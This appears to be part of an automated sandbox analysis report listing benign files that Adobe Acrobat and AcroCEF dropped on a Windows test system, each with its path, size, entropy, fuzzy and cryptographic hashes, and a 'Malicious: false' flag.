SHA-512: | ACCA186908A3EF88A69B6688A8A7E78C2F105013ECD7DC5F0A8CCA06B5F4CE8F00FB7E697238105A41C2EFBE6712F3C99E30F834613C7EDC8C143196AE5E8600 |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 295 |
Entropy (8bit): | 5.235110411240985 |
Encrypted: | false |
SSDEEP: | 6:iO4B2Hrq2PN72nKuAl9OmbnIFUtSB2pZmwsB2jkwON72nKuAl9OmbjLJ:7y2HrvVaHAahFUtM2p/+2j5OaHAaSJ |
MD5: | A17FCF39B3C4A4AA335F6AD5E7B21F58 |
SHA1: | 32326DFC70D7191F1A705AC62B0B1535005A9F30 |
SHA-256: | 497987DAA40FCBC53E1A5E84F457158E407384F5C2A304140F9E27924BEC9BFE |
SHA-512: | BC292B05331767BDE40AF7C857EC43D289D6E4E329EA2533EE3800EC98492B51227419203560C7E9CDBE377618ED3A7FBE3F8AAE4015B4FA6224B2A611C81BD4 |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 295 |
Entropy (8bit): | 5.235110411240985 |
Encrypted: | false |
SSDEEP: | 6:iO4B2Hrq2PN72nKuAl9OmbnIFUtSB2pZmwsB2jkwON72nKuAl9OmbjLJ:7y2HrvVaHAahFUtM2p/+2j5OaHAaSJ |
MD5: | A17FCF39B3C4A4AA335F6AD5E7B21F58 |
SHA1: | 32326DFC70D7191F1A705AC62B0B1535005A9F30 |
SHA-256: | 497987DAA40FCBC53E1A5E84F457158E407384F5C2A304140F9E27924BEC9BFE |
SHA-512: | BC292B05331767BDE40AF7C857EC43D289D6E4E329EA2533EE3800EC98492B51227419203560C7E9CDBE377618ED3A7FBE3F8AAE4015B4FA6224B2A611C81BD4 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 339 |
Entropy (8bit): | 5.138355340866089 |
Encrypted: | false |
SSDEEP: | 6:iO4BwbiMq2PN72nKuAl9Ombzo2jMGIFUtSBwpoZZmwsBwpozkwON72nKuAl9OmbX:7yLMvVaHAa8uFUtMl/+35OaHAa8RJ |
MD5: | 182763344F3E361B701AB81813D84669 |
SHA1: | 18CA7596CD39728FD7F11C82C17DDAD5721AFDBB |
SHA-256: | 0EDCAE6D6D8635247A2D291341802B40C24D78B002C9C2D1F61CB2750D58FA02 |
SHA-512: | F22782D2009C16ADB015506920D7AE65FEBECB5F3EDAE06B76CDBEC26B0D7A4398E683917E4D118B13A05E3B60EDA82282BA39A6E74BB4910FFF83A65782183B |
Malicious: | false |
Preview: |
C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 339 |
Entropy (8bit): | 5.138355340866089 |
Encrypted: | false |
SSDEEP: | 6:iO4BwbiMq2PN72nKuAl9Ombzo2jMGIFUtSBwpoZZmwsBwpozkwON72nKuAl9OmbX:7yLMvVaHAa8uFUtMl/+35OaHAa8RJ |
MD5: | 182763344F3E361B701AB81813D84669 |
SHA1: | 18CA7596CD39728FD7F11C82C17DDAD5721AFDBB |
SHA-256: | 0EDCAE6D6D8635247A2D291341802B40C24D78B002C9C2D1F61CB2750D58FA02 |
SHA-512: | F22782D2009C16ADB015506920D7AE65FEBECB5F3EDAE06B76CDBEC26B0D7A4398E683917E4D118B13A05E3B60EDA82282BA39A6E74BB4910FFF83A65782183B |
Malicious: | false |
Preview: |
C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3744c910-1d83-4eac-a9fe-71c961df3386.tmp
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe |
File Type: | |
Category: | modified |
Size (bytes): | 475 |
Entropy (8bit): | 4.96930632548093 |
Encrypted: | false |
SSDEEP: | 12:YH/um3RA8sqbSsBdOg2HTcaq3QYiubcP7E4T3y:Y2sRdsedMHq3QYhbA7nby |
MD5: | DD6C91C90C529B7C25D00830040D2694 |
SHA1: | 78F9D46062D058F72192EEBD2734DBD9DF82BEE0 |
SHA-256: | 96E4ED8E44C7BF1CC3952CECD416BB862E515676D0806A9A61769AABAC456FCF |
SHA-512: | 1D0AD302568BC6F16BB335F7C8A7E474C062CF4C192F0E32CBB3D652F16AAC79CEAB2F5DC4CD5A30283F1EF13A787F455BE5CDB9A3258C0634D144F7A340799E |
Malicious: | false |
Preview: |
C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 475 |
Entropy (8bit): | 4.96930632548093 |
Encrypted: | false |
SSDEEP: | 12:YH/um3RA8sqbSsBdOg2HTcaq3QYiubcP7E4T3y:Y2sRdsedMHq3QYhbA7nby |
MD5: | DD6C91C90C529B7C25D00830040D2694 |
SHA1: | 78F9D46062D058F72192EEBD2734DBD9DF82BEE0 |
SHA-256: | 96E4ED8E44C7BF1CC3952CECD416BB862E515676D0806A9A61769AABAC456FCF |
SHA-512: | 1D0AD302568BC6F16BB335F7C8A7E474C062CF4C192F0E32CBB3D652F16AAC79CEAB2F5DC4CD5A30283F1EF13A787F455BE5CDB9A3258C0634D144F7A340799E |
Malicious: | false |
Preview: |
C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 5449 |
Entropy (8bit): | 5.254318217664263 |
Encrypted: | false |
SSDEEP: | 96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE71Ftfa:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhs |
MD5: | 2BBBA2130F28BDCADE1ABF4BD872CB57 |
SHA1: | 4DD0D517E50514A27A5FCD479D6C6BEF4A40082E |
SHA-256: | 35920882D6312C41E8390CCE8D538F747F72B8B282A73E668CBFDC198B7E110C |
SHA-512: | 80CF0CB385348F0F3DFBB6CC010C381CBB6F22F567041602C54E97C68D502F4040A33E3D3948E7651543866B48150D2FAE79B462554487FB07C72A30ED8EFF39 |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 327 |
Entropy (8bit): | 5.188500384208339 |
Encrypted: | false |
SSDEEP: | 6:iO4ByTFJq2PN72nKuAl9OmbzNMxIFUtSByRFUZmwsByJhkwON72nKuAl9OmbzNMT:7yyTFJvVaHAa8jFUtMyA/+yb5OaHAa8E |
MD5: | D6486F3B32BE8060220E57BFE4328DEE |
SHA1: | ADCBF94536C1962006D997AC78BEB5710A9A9F2D |
SHA-256: | B55CF9980E2C32EB344424009BFC9745ECD9A942406E5E4E1556454CA7F01835 |
SHA-512: | EA31F4D0A2F33762949644C90DF5F1210E6CFEA8168BE58B97BB6FABE1BEEAC4D248EF58C0775BE6A647B817CF59EC070CFFA82FAB101C752C5D6ADB93DD4DD4 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 327 |
Entropy (8bit): | 5.188500384208339 |
Encrypted: | false |
SSDEEP: | 6:iO4ByTFJq2PN72nKuAl9OmbzNMxIFUtSByRFUZmwsByJhkwON72nKuAl9OmbzNMT:7yyTFJvVaHAa8jFUtMyA/+yb5OaHAa8E |
MD5: | D6486F3B32BE8060220E57BFE4328DEE |
SHA1: | ADCBF94536C1962006D997AC78BEB5710A9A9F2D |
SHA-256: | B55CF9980E2C32EB344424009BFC9745ECD9A942406E5E4E1556454CA7F01835 |
SHA-512: | EA31F4D0A2F33762949644C90DF5F1210E6CFEA8168BE58B97BB6FABE1BEEAC4D248EF58C0775BE6A647B817CF59EC070CFFA82FAB101C752C5D6ADB93DD4DD4 |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 86016 |
Entropy (8bit): | 4.444502271218086 |
Encrypted: | false |
SSDEEP: | 384:Seoci5txiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:gCs3OazzU89UTTgUL |
MD5: | 7F6CF1DAEF4605C9B2FC9ECF57898DCD |
SHA1: | AD3469ADC09CA8BCDF9D3D942754DC11C24B1BCD |
SHA-256: | 49B9C0BBACC2723DA8E661363D8847B6954670A784828ADD3B24E411EF3E8838 |
SHA-512: | ADBA03D4E15711AE5EF0C8B1E0AA226804E455B4ADF76C6BE212773690877FEE8F7EC41E30DFFBF11360FA96C02172B850B8F465B059483D3CF3801B740992F4 |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 8720 |
Entropy (8bit): | 2.2125359046213466 |
Encrypted: | false |
SSDEEP: | 24:7+tCM7nuwKbqLLzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9A:7M77nCbqPmFTIF3XmHjBoGGR+jMz+Lh2 |
MD5: | F7BAA36E3D475CC7F0803282FEB94BB3 |
SHA1: | 494A36813D322A909664C0106F1E1327CD9AAA1F |
SHA-256: | DF69780333BD92C53C3C561818803AF47E118D85AE7450B49D1EC971124588BA |
SHA-512: | 7BC33A1E1F46A0E653F9BFF51D0D550DD71E0FFB67430977598ECCF2D8005A61436A5A3AB0E0EBC193E8C4BDF8116E7A009B6F662A423A27D9B38B94799910E6 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 1391 |
Entropy (8bit): | 7.705940075877404 |
Encrypted: | false |
SSDEEP: | 24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1 |
MD5: | 0CD2F9E0DA1773E9ED864DA5E370E74E |
SHA1: | CABD2A79A1076A31F21D253635CB039D4329A5E8 |
SHA-256: | 96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6 |
SHA-512: | 3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 192 |
Entropy (8bit): | 2.7399807848416464 |
Encrypted: | false |
SSDEEP: | 3:kkFklHloxkltfllXlE/HT8ktz1NNX8RolJuRdxLlGB9lQRYwpDdt:kKDxseT8w3NMa8RdWBwRd |
MD5: | 338AA1C07AD061E2C3C0AA0F5645F4EF |
SHA1: | 21F080496DF10337F50C8C018B066BC997C1CBD1 |
SHA-256: | 9F356A59523E60D3E20C6292DE419143AEFBFE782807898779A1DA1ABBEC5B31 |
SHA-512: | 05FC672816479C4E0496CCB458291A233ADD7E777E45A8C58A0AA1FA856421801C6599E92E4526AA4161F048724092C4809A98435B9C980E0D5E520B3D72B231 |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 1233 |
Entropy (8bit): | 5.233980037532449 |
Encrypted: | false |
SSDEEP: | 24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap |
MD5: | 8BA9D8BEBA42C23A5DB405994B54903F |
SHA1: | FC1B1646EC8A7015F492AA17ADF9712B54858361 |
SHA-256: | 862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C |
SHA-512: | 26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 1233 |
Entropy (8bit): | 5.233980037532449 |
Encrypted: | false |
SSDEEP: | 24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap |
MD5: | 8BA9D8BEBA42C23A5DB405994B54903F |
SHA1: | FC1B1646EC8A7015F492AA17ADF9712B54858361 |
SHA-256: | 862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C |
SHA-512: | 26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 1233 |
Entropy (8bit): | 5.233980037532449 |
Encrypted: | false |
SSDEEP: | 24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap |
MD5: | 8BA9D8BEBA42C23A5DB405994B54903F |
SHA1: | FC1B1646EC8A7015F492AA17ADF9712B54858361 |
SHA-256: | 862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C |
SHA-512: | 26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 10880 |
Entropy (8bit): | 5.214360287289079 |
Encrypted: | false |
SSDEEP: | 192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp |
MD5: | B60EE534029885BD6DECA42D1263BDC0 |
SHA1: | 4E801BA6CA503BDAE7E54B7DB65BE641F7C23375 |
SHA-256: | B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856 |
SHA-512: | 52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 10880 |
Entropy (8bit): | 5.214360287289079 |
Encrypted: | false |
SSDEEP: | 192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp |
MD5: | B60EE534029885BD6DECA42D1263BDC0 |
SHA1: | 4E801BA6CA503BDAE7E54B7DB65BE641F7C23375 |
SHA-256: | B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856 |
SHA-512: | 52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 295 |
Entropy (8bit): | 5.36998002925574 |
Encrypted: | false |
SSDEEP: | 6:YEQXJ2HXYSEjBGnZiQ0YgQTVR1oAvJM3g98kUwPeUkwRe9:YvXKX8dGcGRqGMbLUkee9 |
MD5: | 98370905381486C0556A6A5A2BF54CFC |
SHA1: | 330A5439C5D581F746973B4B4E94D83C91553395 |
SHA-256: | 6CDCD544DA77B6684E03883C8EE69617EC9003F8868A7C51EEFC681E415B83BF |
SHA-512: | F9CBE7F0765FF09ED4796A0FDBC32CF1FDAC1311C9AB4B51D0F55543232467D674AB3BEDF58E6610E0137F4F586198C6511B1BA434024798CCE27EA22879A848 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 294 |
Entropy (8bit): | 5.325561501795238 |
Encrypted: | false |
SSDEEP: | 6:YEQXJ2HXYSEjBGnZiQ0YgQTVR1oAvJfBoTfXpnrPeUkwRe9:YvXKX8dGcGRqGWTfXcUkee9 |
MD5: | 05EC8AEED712155FF2B546CADDD7233F |
SHA1: | 2F1BF904492E0F344950EC4C70CF1B248365B901 |
SHA-256: | 4B151B34942F1B34A802EDF699491C6D043A9E7BACBA0AB9758D3CD87326EBCB |
SHA-512: | A6F87ACFE27C22735A2BB65D2EF0B7EB3FD49AB1936B1D3BD2009CD3843CDAE3F69782B28C82BF1E9DA7FB7DAB6180679A0575D55EBD03952FA92CCE21D4F1B0 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 294 |
Entropy (8bit): | 5.303820997153045 |
Encrypted: | false |
SSDEEP: | 6:YEQXJ2HXYSEjBGnZiQ0YgQTVR1oAvJfBD2G6UpnrPeUkwRe9:YvXKX8dGcGRqGR22cUkee9 |
MD5: | 27503C3701E4697D6DF7F2636ABD99F2 |
SHA1: | BCA29D999B4792E028D3A647EFBFDFA44091F83E |
SHA-256: | B22CA436DA2352BD6579839944954058087F7A4B6C369E79B408C75A444CEA9E |
SHA-512: | E32FB94293B68CF75B64A4BC41471201094DA889C9129DAC2837D8E0C4ED064E476B40A224D93873BEA5B8B68C9967F1C00414F5C66991BC1523B848E7F9D56C |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 285 |
Entropy (8bit): | 5.350234767829801 |
Encrypted: | false |
SSDEEP: | 6:YEQXJ2HXYSEjBGnZiQ0YgQTVR1oAvJfPmwrPeUkwRe9:YvXKX8dGcGRqGH56Ukee9 |
MD5: | E979CCC18A62CF79A98E9961A4D0DD93 |
SHA1: | AD7F90E5826D7BA0989651B6C623DBCFE625F7EB |
SHA-256: | 0EB1230D5B8E1F9FCAD16467D5D1F8256C77357A05A4065642473D45B325E11C |
SHA-512: | F7EF1101EC61FBF1635115AAED3FD0B6E7C76F770BC78EB57350134C74F18E722AA0CF6E12E5B0C5341532E4D45EE08DFC5CB23F91B7C56D21F3ACB5C1F8CF78 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 1123 |
Entropy (8bit): | 5.685857615696005 |
Encrypted: | false |
SSDEEP: | 24:Yv6XIGnpLgE9cQx8LennAvzBvkn0RCmK8czOCCSj:Yvohgy6SAFv5Ah8cv/j |
MD5: | 38EB233C516E8A4677B458DD5BE12341 |
SHA1: | D4AAF7B5F19FD31CE09E3B43B109AF89332D302E |
SHA-256: | 31A2991E9F9F14171D102AFE460C66D64D49156BAAF388D3F69D8234D4252B78 |
SHA-512: | FFA79EB37B2F95F2D152BDBA08909769E762810ABDBAEE03D70901A5B68CCAA45D2A4D46F1797CCC9A4F770E8EBB7A8CE05D0FC227377CDE905F3F49897B9012 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 289 |
Entropy (8bit): | 5.3007845474277 |
Encrypted: | false |
SSDEEP: | 6:YEQXJ2HXYSEjBGnZiQ0YgQTVR1oAvJf8dPeUkwRe9:YvXKX8dGcGRqGU8Ukee9 |
MD5: | CA1C14EB98A7CBD0E4A4A038170AEBC1 |
SHA1: | D93A6E5398FFA44BCE2843142889812C14FB34E8 |
SHA-256: | D54FF6AE99FE6385C2162D2D319FB286278CAB3F9C45FC6B9A93353DDEE15348 |
SHA-512: | 314010D002FBBE47D00CD8BE18E94A7E3FDA42E4E5ADC0FAC6057C0878CC89F248F90B502F1B55ACAAA99F520A2BA5397B157BEE9F7DF6F9C716DAB800D7E8AB |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 292 |
Entropy (8bit): | 5.303410541165675 |
Encrypted: | false |
SSDEEP: | 6:YEQXJ2HXYSEjBGnZiQ0YgQTVR1oAvJfQ1rPeUkwRe9:YvXKX8dGcGRqGY16Ukee9 |
MD5: | 5D15DE244645F0BB7B274C0924A403B2 |
SHA1: | 17DE45704D3E9B1B8C02256EE5A73A5C07EDDE63 |
SHA-256: | B06696497AE6E86B23C050353E0BD40D78808559C66C13D98D7EC6AD772666C7 |
SHA-512: | 3E0940D60B2A9688E03A9C6198D5BDB117A6E39C2193F02E1D1E82D0043D95C12F0243EA474FB65FF27D0738D75FD0032131070ECB8E0C068D70AC64845FA9E2 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 289 |
Entropy (8bit): | 5.311269086122812 |
Encrypted: | false |
SSDEEP: | 6:YEQXJ2HXYSEjBGnZiQ0YgQTVR1oAvJfFldPeUkwRe9:YvXKX8dGcGRqGz8Ukee9 |
MD5: | 3B501522E13477417BA116D27791D801 |
SHA1: | C644FD922D3F9AC09C5978BF5DF126423805918C |
SHA-256: | E031371EC009DAD231AF53E05968624DEBC93FF68702E0AF4E1C33600D55D0C6 |
SHA-512: | 3C557AC03558EA108CF34A00D9E75D3C5A8D244185FEA21D6F3A91A4752874B85F6ADEA8C9ED143EA8C693A5E0F1387500BBF95BC3CFA1975A168BF5A3E0ABE2 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 295 |
Entropy (8bit): | 5.328020841628018 |
Encrypted: | false |
SSDEEP: | 6:YEQXJ2HXYSEjBGnZiQ0YgQTVR1oAvJfzdPeUkwRe9:YvXKX8dGcGRqGb8Ukee9 |
MD5: | 8F2F39518FAEAB532BC8BD151C4AE8F6 |
SHA1: | 037D6ECA578759C3FFBF36C6695C5CD5114DA21C |
SHA-256: | D81D2831F5317ACCB4763ED90C93C130400B00AF41353A6BE348D258CEF9BF33 |
SHA-512: | 87332A7BBBBD954EB8961101A784105029182378712D9A21193CBC32427137D0AF2ACC6A55178328BDB55317C4DF1139EDE757C4FE1140103EF70A33FDA0C930 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 289 |
Entropy (8bit): | 5.308550501013493 |
Encrypted: | false |
SSDEEP: | 6:YEQXJ2HXYSEjBGnZiQ0YgQTVR1oAvJfYdPeUkwRe9:YvXKX8dGcGRqGg8Ukee9 |
MD5: | 44A364397F99FCB2C383D257B65B470B |
SHA1: | E41984CB1F47CA9B04A3D6A22234FA6C1D78F1AD |
SHA-256: | 67D0491C54EB142F75A44BB2379135EF05D4F2C1C7E10F270D3C11E92C6CF069 |
SHA-512: | 5CD151D25E5F595095156A1EB489EB5415A231EE569B392206A08B5A778EC8AEB661B9808CB3B4C276315F0FC3119426740AF5DC54D8462B87B435EF3DB64245 |
Malicious: | false |
Preview: |
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 284 |
Entropy (8bit): | 5.2947514108260405 |
Encrypted: | false |
SSDEEP: | 6:YEQXJ2HXYSEjBGnZiQ0YgQTVR1oAvJf+dPeUkwRe9:YvXKX8dGcGRqG28Ukee9 |
MD5: | 0E2960FA5031C8E367C357353B1B559F |
SHA1: | 8B69722EF3ECB08182602AB21BE5C42E6B4D36E1 |
SHA-256: | 0146FD067C0FA2D38FAF19822CD561CE6459E757597B94CB717E38CCE74A66A0 |
SHA-512: | 1CB01D218B2BED4BDE892D4E0825BBA04B7C52D4D8358C0B259C106C1106102AC7CD8D5FB40D29071FD5518047C2263ECF5E9443AC7F56D1E3AB9F0C56B60127 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 291 |
Entropy (8bit): | 5.292038832357367 |
Encrypted: | false |
SSDEEP: | 6:YEQXJ2HXYSEjBGnZiQ0YgQTVR1oAvJfbPtdPeUkwRe9:YvXKX8dGcGRqGDV8Ukee9 |
MD5: | CEAFD43E2A29CA3311F32FA7B502E2D5 |
SHA1: | FA5B2B1386425B77DD4DF4A8956894319CB5299B |
SHA-256: | 738C02404BB38127DE5AA4F3CE250B85B3982EAD4D5E703F25D398E83C8B2AB7 |
SHA-512: | 8C6F33F450B21156BC42ABCAFBF7D4575C7D14A3FFC1F32F81E442751B4B79DB58292AD0F4CCE966B52F690679CA74C1CA13742F201E24033BB29DA4FC0B2918 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 287 |
Entropy (8bit): | 5.295224123762757 |
Encrypted: | false |
SSDEEP: | 6:YEQXJ2HXYSEjBGnZiQ0YgQTVR1oAvJf21rPeUkwRe9:YvXKX8dGcGRqG+16Ukee9 |
MD5: | 85D0906342F3CDB36A7955D539494C7C |
SHA1: | 23899CEF10C593853B17A782670673E4DE9618E7 |
SHA-256: | 882397B60313FD34D0ED0ECA218A77013A22F939A53F3535890C89B6A574D140 |
SHA-512: | 866F1014CB98972198A8FD715241FD6E6CEE76B8E97D8AA0B35C5D39764581C7DD35C42C089FDE1C7F6630382D8E553D4AE96D3A60EC1AE5457D522B94FD6662 |
Malicious: | false |
Preview: |
C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner
Download File
Process: | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 1090 |
Entropy (8bit): | 5.6608527146634735 |
Encrypted: | false |
SSDEEP: | 24:Yv6XIGfamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSj:Yv6BgkDMUJUAh8cvMj |
MD5: | 187272A65044B6898F3741F86F01B1B1 |
SHA1: | CC3709819452ADF1C7746670CE813CE0B8B84B85 |
